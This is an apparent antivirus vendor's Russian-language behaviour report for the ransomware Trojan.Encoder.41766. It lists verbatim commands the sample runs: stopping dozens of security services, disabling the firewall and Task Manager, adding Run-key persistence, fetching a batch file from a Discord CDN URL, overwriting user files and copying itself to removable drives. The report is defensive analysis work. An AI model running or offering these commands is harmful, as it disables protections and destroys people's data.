Trojan.Encoder.41766

Техническая информация

Для обеспечения автозапуска и распространения

Модифицирует следующие ключи реестра

[HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Run] 'rundll32_30983_toolbar' = '%TEMP%\RarSFX0\G0nnaC0pe.bat'
[HKCU\Software\Microsoft\Windows\CurrentVersion\Run] 'AVAADA' = '%WINDIR%\.bat'

Вредоносные функции

Для затруднения выявления своего присутствия в системе

блокирует запуск следующих системных утилит:

Диспетчера задач (Taskmgr)

Запускает на исполнение

'%WINDIR%\syswow64\net.exe' stop "WinDefend"
'%WINDIR%\syswow64\net.exe' stop "*Symantec*" /y
'%WINDIR%\syswow64\net.exe' stop "*McAfee*" /y
'%WINDIR%\syswow64\net.exe' stop ccPwdSvc /y
'%WINDIR%\syswow64\net.exe' stop "Serv-U" /y
'%WINDIR%\syswow64\net.exe' stop "norton AntiVirus Client" /y
'%WINDIR%\syswow64\net.exe' stop "Symantec AntiVirus Client" /y
'%WINDIR%\syswow64\net.exe' stop "norton AntiVirus Server" /y
'%WINDIR%\syswow64\net.exe' stop "NAV Alert" /y
'%WINDIR%\syswow64\net.exe' stop "Nav Auto-Protect" /y
'%WINDIR%\syswow64\net.exe' stop "McShield" /y
'%WINDIR%\syswow64\net.exe' stop "DefWatch" /y
'%WINDIR%\syswow64\net.exe' stop eventlog /y
'%WINDIR%\syswow64\net.exe' stop InoRPC /y
'%WINDIR%\syswow64\net.exe' stop "Symantec SPBBCSvc" /y
'%WINDIR%\syswow64\net.exe' stop InoRT /y
'%WINDIR%\syswow64\net.exe' stop "norton AntiVirus Corporate Edition" /y
'%WINDIR%\syswow64\net.exe' stop "ViRobot Professional Monitoring" /y
'%WINDIR%\syswow64\net.exe' stop "PC-cillin Personal Firewall" /y
'%WINDIR%\syswow64\net.exe' stop "Trend Micro Proxy Service" /y
'%WINDIR%\syswow64\net.exe' stop "Trend NT Realtime Service" /y
'%WINDIR%\syswow64\net.exe' stop "McAfee.com McShield" /y
'%WINDIR%\syswow64\net.exe' stop "McAfee.com VirusScan Online Realtime Engine" /y
'%WINDIR%\syswow64\net.exe' stop "SyGateService" /y
'%WINDIR%\syswow64\net.exe' stop "Sophos Anti-Virus" /y
'%WINDIR%\syswow64\net.exe' stop "Sophos Anti-Virus Network" /y
'%WINDIR%\syswow64\net.exe' stop "eTrust Antivirus Job Server" /y
'%WINDIR%\syswow64\net.exe' stop "eTrust Antivirus Realtime Server" /y
'%WINDIR%\syswow64\net.exe' stop "eTrust Antivirus RPC Server" /y
'%WINDIR%\syswow64\net.exe' stop ERSvc /y
'%WINDIR%\syswow64\net.exe' stop "*norton*" /y
'%WINDIR%\syswow64\net.exe' stop helpsvc /y
'%WINDIR%\syswow64\net.exe' stop "McAfeeAntiSpyware" /y
'%WINDIR%\syswow64\net.exe' stop mcupdmgr.exe /y
'%WINDIR%\syswow64\net.exe' stop "wuauserv"
'%WINDIR%\syswow64\net.exe' stop "security center"
'%WINDIR%\syswow64\net.exe' stop sharedaccess
'%WINDIR%\syswow64\netsh.exe' firewall set opmode mode-disable
'%WINDIR%\syswow64\net.exe' stop "Security Center" /y
'%WINDIR%\syswow64\net.exe' stop "Automatic Updates" /y
'%WINDIR%\syswow64\net.exe' stop "Symantec Core LC" /y
'%WINDIR%\syswow64\net.exe' stop "SAVScan" /y
'%WINDIR%\syswow64\net.exe' stop "norton AntiVirus Firewall Monitor Service" /y
'%WINDIR%\syswow64\net.exe' stop "norton AntiVirus Auto-Protect Service" /y
'%WINDIR%\syswow64\net.exe' stop "norton AntiVirus Auto Protect Service" /y
'%WINDIR%\syswow64\net.exe' stop "McAfee Spamkiller Server" /y
'%WINDIR%\syswow64\net.exe' stop "McAfee Personal Firewall Service" /y
'%WINDIR%\syswow64\net.exe' stop netsvcs
'%WINDIR%\syswow64\net.exe' stop InoTask /y
'%WINDIR%\syswow64\net.exe' stop "McAfee SecurityCenter Update Manager" /y
'%WINDIR%\syswow64\net.exe' stop navapsvc /y
'%WINDIR%\syswow64\net.exe' stop "Sygate Personal Firewall Pro" /y
'%WINDIR%\syswow64\net.exe' stop vrmonsvc /y
'%WINDIR%\syswow64\net.exe' stop MonSvcNT /y
'%WINDIR%\syswow64\net.exe' stop SAVScan /y
'%WINDIR%\syswow64\net.exe' stop NProtectService /y
'%WINDIR%\syswow64\net.exe' stop ccSetMGR /y
'%WINDIR%\syswow64\net.exe' stop ccEvtMGR /y
'%WINDIR%\syswow64\net.exe' stop srservice /y
'%WINDIR%\syswow64\net.exe' stop "Symantec Network Drivers Service" /y
'%WINDIR%\syswow64\net.exe' stop "norton Unerase Protection" /y
'%WINDIR%\syswow64\net.exe' stop MskService /y
'%WINDIR%\syswow64\net.exe' stop MpfService /y
'%WINDIR%\syswow64\taskkill.exe' /f /t /im "MSASCui.exe"
'%WINDIR%\syswow64\net.exe' stop "Ahnlab Task Scheduler" /y
'%WINDIR%\syswow64\net.exe' stop spoolnt

Загружает

https://cdn.discordapp.com/attachments/938293862500294666/967244800938111036/g0nnac0peransn0te.bat как g0nnac0peransn0te.bat

Запускает большое число процессов

Изменения в файловой системе

Создает следующие файлы

%TEMP%\rarsfx0\g0nnac0pe.bat
nul
%TEMP%\rarsfx0\%vrjez:~12
%HOMEPATH%\readme.txt
%HOMEPATH%\desktop\random.txt
%HOMEPATH%\documents\random.txt
%HOMEPATH%\music\random.txt
%HOMEPATH%\pictures\random.txt
%HOMEPATH%\videos\random.txt
%HOMEPATH%\downloads\random.txt

Присваивает атрибут 'скрытый' для следующих файлов

%TEMP%\rarsfx0\g0nnac0pe.bat

Перемещает следующие файлы

%HOMEPATH%\desktop\random.txt в %HOMEPATH%\desktop\c0pe-m.txt14567.cope
%HOMEPATH%\documents\random.txt в %HOMEPATH%\documents\c0pe-m.txt23121.c0pe
%HOMEPATH%\music\random.txt в %HOMEPATH%\music\c0pe-m.txt15940.c0pe
%HOMEPATH%\pictures\random.txt в %HOMEPATH%\pictures\c0pe-m.txt3659.c0pe
%HOMEPATH%\videos\random.txt в %HOMEPATH%\videos\c0pe-m.txt32293.c0pe
%HOMEPATH%\downloads\random.txt в %HOMEPATH%\downloads\c0pe-m.txt19900.c0pe

Изменяет следующие файлы

%HOMEPATH%\desktop\508softwareandos.doc
%HOMEPATH%\desktop\about.htm
%HOMEPATH%\desktop\aoc_saq_d_v3_merchant.docx
%HOMEPATH%\desktop\applicantform_en.doc
%HOMEPATH%\desktop\coffee.bmp
%HOMEPATH%\desktop\telegram.lnk
%HOMEPATH%\desktop\dashborder_144.bmp
%HOMEPATH%\desktop\dashborder_192.bmp

Изменяет множество файлов пользовательских данных (Trojan.Encoder).

Другое

Ищет следующие окна

ClassName: 'EDIT' WindowName: ''
ClassName: '' WindowName: ''

Запускает на исполнение

'%WINDIR%\syswow64\cmd.exe' /c ""%TEMP%\RarSFX0\G0nnaC0pe.bat" "
'%WINDIR%\syswow64\xcopy.exe' /y random.txt %HOMEPATH%\Desktop\february_catalogue__2015.doc
'%WINDIR%\syswow64\xcopy.exe' /y random.txt %HOMEPATH%\Desktop\dashBorder_192.bmp
'%WINDIR%\syswow64\xcopy.exe' /y random.txt %HOMEPATH%\Desktop\dashBorder_144.bmp
'%WINDIR%\syswow64\xcopy.exe' /y random.txt %HOMEPATH%\Desktop\dashBorder_120.bmp
'%WINDIR%\syswow64\xcopy.exe' /y random.txt %HOMEPATH%\Desktop\correct.avi
'%WINDIR%\syswow64\xcopy.exe' /y random.txt %HOMEPATH%\Desktop\contosoroot_1.cer
'%WINDIR%\syswow64\xcopy.exe' /y random.txt %HOMEPATH%\Desktop\contosoroot.cer
'%WINDIR%\syswow64\xcopy.exe' /y random.txt %HOMEPATH%\Desktop\contoso.cer
'%WINDIR%\syswow64\xcopy.exe' /y random.txt %HOMEPATH%\Desktop\coffee.bmp
'%WINDIR%\syswow64\xcopy.exe' /y random.txt %HOMEPATH%\Desktop\applicantform_en.doc
'%WINDIR%\syswow64\xcopy.exe' /y random.txt %HOMEPATH%\Desktop\aoc_saq_d_v3_merchant.docx
'%WINDIR%\syswow64\xcopy.exe' /y random.txt %HOMEPATH%\Desktop\about.htm
'%WINDIR%\syswow64\xcopy.exe' /y random.txt %HOMEPATH%\Desktop\508softwareandos.doc
'%WINDIR%\syswow64\notepad.exe' %HOMEPATH%\ReadMe.txt
'%WINDIR%\syswow64\net1.exe' stop spoolnt
'%WINDIR%\syswow64\net1.exe' stop netsvcs
'%WINDIR%\syswow64\net1.exe' stop "eTrust Antivirus RPC Server" /y
'%WINDIR%\syswow64\net1.exe' stop "eTrust Antivirus Realtime Server" /y
'%WINDIR%\syswow64\net1.exe' stop "eTrust Antivirus Job Server" /y
'%WINDIR%\syswow64\net1.exe' stop "Sophos Anti-Virus Network" /y
'%WINDIR%\syswow64\net1.exe' stop "Sophos Anti-Virus" /y
'%WINDIR%\syswow64\net1.exe' stop "SyGateService" /y
'%WINDIR%\syswow64\net1.exe' stop "McAfee.com VirusScan Online Realtime Engine" /y
'%WINDIR%\syswow64\net1.exe' stop "McAfee.com McShield" /y
'%WINDIR%\syswow64\net1.exe' stop "Trend NT Realtime Service" /y
'%WINDIR%\syswow64\xcopy.exe' /y random.txt %HOMEPATH%\Desktop\glidescope_review_rev_010.docx
'%WINDIR%\syswow64\xcopy.exe' /y random.txt %HOMEPATH%\Desktop\Google Chrome.lnk
'%WINDIR%\syswow64\xcopy.exe' /y random.txt %HOMEPATH%\Desktop\hanni_umami_chapter.doc
'%WINDIR%\syswow64\xcopy.exe' /y random.txt %HOMEPATH%\Desktop\holycrosschurchinstructions.docx
'%WINDIR%\syswow64\xcopy.exe' /e /y G0nnaC0pe.bat <Имя диска съемного носителя>:\
'%WINDIR%\syswow64\xcopy.exe' /e /y G0nnaC0pe.bat E:\
'%WINDIR%\syswow64\xcopy.exe' /e /y G0nnaC0pe.bat D:\
'%WINDIR%\syswow64\xcopy.exe' /e /y windows.inf H:\
'%WINDIR%\syswow64\xcopy.exe' /e /y windows.inf G:\
'%WINDIR%\syswow64\xcopy.exe' /e /y windows.inf <Имя диска съемного носителя>:\
'%WINDIR%\syswow64\xcopy.exe' /e /y windows.inf E:\
'%WINDIR%\syswow64\xcopy.exe' /e /y windows.inf D:\
'%WINDIR%\syswow64\xcopy.exe' /y random.txt %HOMEPATH%\Downloads\random.txt
'%WINDIR%\syswow64\xcopy.exe' /y random.txt %HOMEPATH%\Videos\random.txt
'%WINDIR%\syswow64\xcopy.exe' /y random.txt %HOMEPATH%\Pictures\random.txt
'%WINDIR%\syswow64\xcopy.exe' /y random.txt %HOMEPATH%\Music\random.txt
'%WINDIR%\syswow64\xcopy.exe' /y random.txt %HOMEPATH%\Desktop\utorrent.exe
'%WINDIR%\syswow64\xcopy.exe' /y random.txt %HOMEPATH%\Documents\random.txt
'%WINDIR%\syswow64\xcopy.exe' /y random.txt %HOMEPATH%\Desktop\trivial-merge.html
'%WINDIR%\syswow64\xcopy.exe' /y random.txt %HOMEPATH%\Desktop\tree_view.htm
'%WINDIR%\syswow64\xcopy.exe' /y random.txt %HOMEPATH%\Desktop\toolbar.bmp
'%WINDIR%\syswow64\xcopy.exe' /y random.txt %HOMEPATH%\Desktop\Telegram.lnk
'%WINDIR%\syswow64\xcopy.exe' /y random.txt %HOMEPATH%\Desktop\tcm851ax32.exe
'%WINDIR%\syswow64\xcopy.exe' /y random.txt %HOMEPATH%\Desktop\SDKSampleUnprivDeveloper.cer
'%WINDIR%\syswow64\xcopy.exe' /y random.txt %HOMEPATH%\Desktop\random.txt
'%WINDIR%\syswow64\xcopy.exe' /y random.txt %HOMEPATH%\Desktop\notepad.exe
'%WINDIR%\syswow64\xcopy.exe' /y random.txt %HOMEPATH%\Desktop\lisp_success.doc
'%WINDIR%\syswow64\xcopy.exe' /y random.txt %HOMEPATH%\Desktop\join.avi
'%WINDIR%\syswow64\xcopy.exe' /y random.txt %HOMEPATH%\Desktop\issi2013_template_for_posters.docx
'%WINDIR%\syswow64\xcopy.exe' /y random.txt %HOMEPATH%\Desktop\iisstart.html
'%WINDIR%\syswow64\xcopy.exe' /e /y G0nnaC0pe.bat G:\
'%WINDIR%\syswow64\net1.exe' stop "Trend Micro Proxy Service" /y
'%WINDIR%\syswow64\net1.exe' stop "PC-cillin Personal Firewall" /y
'%WINDIR%\syswow64\net1.exe' stop "ViRobot Professional Monitoring" /y
'%WINDIR%\syswow64\net1.exe' stop vrmonsvc /y
'%WINDIR%\syswow64\net1.exe' stop "Sygate Personal Firewall Pro" /y
'%WINDIR%\syswow64\net1.exe' stop navapsvc /y
'%WINDIR%\syswow64\net1.exe' stop "Ahnlab Task Scheduler" /y
'%WINDIR%\syswow64\net1.exe' stop "Symantec SPBBCSvc" /y
'%WINDIR%\syswow64\net1.exe' stop "McAfee SecurityCenter Update Manager" /y
'%WINDIR%\syswow64\net1.exe' stop "McAfee Personal Firewall Service" /y
'%WINDIR%\syswow64\net1.exe' stop "McAfee Spamkiller Server" /y
'%WINDIR%\syswow64\net1.exe' stop "norton AntiVirus Auto Protect Service" /y
'%WINDIR%\syswow64\net1.exe' stop "norton AntiVirus Auto-Protect Service" /y
'%WINDIR%\syswow64\net1.exe' stop "norton AntiVirus Firewall Monitor Service" /y
'%WINDIR%\syswow64\net1.exe' stop "SAVScan" /y
'%WINDIR%\syswow64\net1.exe' stop "Symantec Core LC" /y
'%WINDIR%\syswow64\net1.exe' stop "Automatic Updates" /y
'%WINDIR%\syswow64\net1.exe' stop "Security Center" /y
'%WINDIR%\syswow64\net1.exe' stop sharedaccess
'%WINDIR%\syswow64\net1.exe' stop "security center"
'%WINDIR%\syswow64\net1.exe' stop "wuauserv"
'%WINDIR%\syswow64\net1.exe' stop "WinDefend"
'%WINDIR%\syswow64\cmd.exe'
'%WINDIR%\syswow64\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_SZ /d 1 /f
'%WINDIR%\syswow64\reg.exe' add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v AVAADA /t REG_SZ /d %WINDIR%\.bat /f
'%WINDIR%\syswow64\reg.exe' add "hklm\Software\Microsoft\Windows\CurrentVersion\Run" /v "rundll32_30983_toolbar" /t "REG_SZ" /d "%TEMP%\RarSFX0\G0nnaC0pe.bat" /f
'%WINDIR%\syswow64\rundll32.exe' USER32.DLL SwapMouseButton
'%WINDIR%\syswow64\attrib.exe' +h "%TEMP%\RarSFX0\G0nnaC0pe.bat"
'%WINDIR%\syswow64\net1.exe' stop MonSvcNT /y
'%WINDIR%\syswow64\net1.exe' stop SAVScan /y
'%WINDIR%\syswow64\net1.exe' stop NProtectService /y
'%WINDIR%\syswow64\net1.exe' stop ccSetMGR /y
'%WINDIR%\syswow64\net1.exe' stop InoTask /y
'%WINDIR%\syswow64\net1.exe' stop InoRT /y
'%WINDIR%\syswow64\net1.exe' stop InoRPC /y
'%WINDIR%\syswow64\net1.exe' stop eventlog /y
'%WINDIR%\syswow64\net1.exe' stop "DefWatch" /y
'%WINDIR%\syswow64\net1.exe' stop "McShield" /y
'%WINDIR%\syswow64\net1.exe' stop "Nav Auto-Protect" /y
'%WINDIR%\syswow64\net1.exe' stop "NAV Alert" /y
'%WINDIR%\syswow64\net1.exe' stop "norton AntiVirus Server" /y
'%WINDIR%\syswow64\net1.exe' stop "Symantec AntiVirus Client" /y
'%WINDIR%\syswow64\net1.exe' stop "norton AntiVirus Client" /y
'%WINDIR%\syswow64\net1.exe' stop "Serv-U" /y
'%WINDIR%\syswow64\net1.exe' stop "*McAfee*" /y
'%WINDIR%\syswow64\net1.exe' stop ccPwdSvc /y
'%WINDIR%\syswow64\net1.exe' stop "*Symantec*" /y
'%WINDIR%\syswow64\net1.exe' stop "*norton*" /y
'%WINDIR%\syswow64\net1.exe' stop ERSvc /y
'%WINDIR%\syswow64\net1.exe' stop helpsvc /y
'%WINDIR%\syswow64\net1.exe' stop "McAfeeAntiSpyware" /y
'%WINDIR%\syswow64\net1.exe' stop mcupdmgr.exe /y
'%WINDIR%\syswow64\net1.exe' stop MpfService /y
'%WINDIR%\syswow64\net1.exe' stop MskService /y
'%WINDIR%\syswow64\net1.exe' stop "norton Unerase Protection" /y
'%WINDIR%\syswow64\net1.exe' stop "Symantec Network Drivers Service" /y
'%WINDIR%\syswow64\net1.exe' stop srservice /y
'%WINDIR%\syswow64\net1.exe' stop ccEvtMGR /y
'%WINDIR%\syswow64\net1.exe' stop "norton AntiVirus Corporate Edition" /y
'%WINDIR%\syswow64\xcopy.exe' /e /y G0nnaC0pe.bat H:\

Технологии

Термины

Обучение и просвещение

Мифы

Техническая информация

Рекомендации по лечению

Демо бесплатно на 14 дней